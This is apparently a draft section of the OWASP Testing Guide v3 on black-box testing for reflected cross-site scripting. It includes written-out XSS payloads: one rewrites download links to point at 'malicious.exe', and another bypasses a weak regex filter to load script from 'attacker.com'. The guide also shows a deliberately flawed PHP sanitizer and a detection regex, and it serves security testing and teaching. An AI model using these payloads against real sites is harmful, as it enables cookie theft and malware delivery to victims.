Testing for Reflected Cross site scripting (OTG-INPVAL-001)

OWASP Testing Guide v3 Table of Contents

This article is part of the OWASP Testing Guide v3. The entire OWASP Testing Guide v3 can be downloaded here.

OWASP at the moment is working at the OWASP Testing Guide v4: you can browse the Guide here

This is a draft of a section of the new Testing Guide v3

Brief Summary

Reflected cross-site scripting (XSS) is another name for non-persistent XSS, where the attack doesn't load with the vulnerable web application but is originated by the victim loading the offending URI. In this article we will see some ways to test a web application for this kind of vulnerability.

Description of the Issue

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which he convinces her victims to load this URI on their browsers, and the eventual execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to install key loggers, steal victim cookies, clipboard theft, and change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so for example the web application might filter out "<script>", but might not filter %3cscript%3e which simply includes another encoding of tags. A nice tool for testing character encodings is OWASP's CAL9000.

Black Box testing and example

A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's variables and how to input them in the web application. See the above example.

2. Analyze each input vector to detect potential vulnerabilities. The tester will typically use a web application fuzzer or manually attempt detecting a xss vulnerability by entering offending data. This tests are typically harmless, but triggers responses from the web browser that allow the tester to detect a vulnerability.

3. For each vulnerability reported in the previous phase, the tester will analyze the report and attempt to exploit it with an attack that has a realistic impact on the web application's security.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.



The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. Let's try to click on the following link and see what happens:

http://example.com/index.php?user=<script>alert(123)</script>

If no sanitization is applied this will result in the following popup:



This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); 
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> 

This produces the following behavior:



This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

However, most web applications today use some sort of sanitization. Yet, some remain vulnerable. Reflected cross-site scripting attacks are prevented either at the side of the server, by sanitization or a web application firewall, or at the side of the client by prevention mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers1, the tester cannot count on this and must test for vulnerabilities assuming that web browsers will not prevent the attack.

A web application or the web server (e.g., Apache's mod_rewrite module) can parse the URL matching a regular expression as a sanitization prcedure. For example the following regular expression can be used to detect (and block) alphanumeric characters between tags or slashes.

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Hence, the above attack will not work. However, this regular expression does not completely fix the vulnerability. In a grey-box test, the tester might access the source code and analyze the sanitization procedure to decide if he can circumvent it.

To black-box test whether there is a vulnerability or not, the tester will use many test vectors, each circumventing one different sanitization procedure hoping that one will work. For example, let's say that the following code is executed:

<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var'])) {
  echo "Filtered";
  return; }
echo "Welcome ".$_GET['var']." !";
?>

In this scenario there is a regular expression checking if <script [anything but the character: '>' ] src is inserted. This is useful for filtering expressions like <script src="http://attacker.com/xss.js"></script>, which is a common attack. But, in this case it is possible to bypass the sanitization using the ">" character in a varible between script and src, like this:

http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.attacker.com/xss.js"></SCRIPT>

This will exploit a reflected corss-site scripting vulnerability executing the javascript code in the attacker's web server but using the credentials of the original site ww.example.com.

A complete test will include instantiating a variable with several attack vectors (Check Fuzz vectors appendix and Encoded injection appendix).

Finally, analyzing answers can get complex. A simple way to do this is using the Hello world popup of our example. This indicates that an attacker could execute arbitrary javascript of his choice in the visitors' browsers.

Bibliography

1. S. Frei, T. Dübendorfer, G. Ollmann, M. May, "Understanding the Web browser threat," 2008

References

Books

• Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
• Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
• Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

Whitepapers

• CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
• Rsnake - XSS Cheat Sheet: Read
• cgisecurity.com - The Cross Site Scripting FAQ: Read
• G.Ollmann - HTML Code Injection and Cross-site scripting: Read
• A. Calvo, D.Tiscornia - alert('A javascritp agent'): Read ( To be published )

Tools

• OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project

CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.

• PHP Charset Encoder(PCE) - http://h4k.in/encoding

This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.

• WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.

• XSS-Proxy - http://xss-proxy.sourceforge.net/

XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.

• ratproxy - http://code.google.com/p/ratproxy/

A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.

• Burp Proxy - http://portswigger.net/proxy/

Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.